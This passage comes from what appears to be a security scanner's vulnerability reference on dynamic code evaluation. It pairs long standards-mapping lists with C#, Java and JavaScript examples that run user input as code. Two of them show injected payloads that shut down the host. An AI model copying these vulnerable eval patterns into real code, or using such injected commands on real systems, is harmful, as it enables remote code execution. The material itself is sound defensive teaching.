[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;

StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");

CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}

System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");

Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");

object s = mi.Invoke(o, null);
return s;
}
...


The program behaves correctly when the sCSCode parameter is a benign value, such as "return 8 + 7 * 2", in which case the 22 is the return value of the function CEval. However, if an attacker specifies language operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, .Net allows invocation of Windows APIs; if an attacker were to specify " return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");" as the value of operation, a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, JavaScript allows invocation of Java objects; if an attacker were to specify " java.lang.Runtime.getRuntime().exec("shutdown -h now")" as the value of operation, a shutdown command would be executed on the host system.
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[36] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[37] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
userOp = form.operation.value;
calcResult = eval(userOp);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the calcResult variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of JavaScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: The following code uses input from a UITextField to dynamically change the background color of the content within a WKWebView:


...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
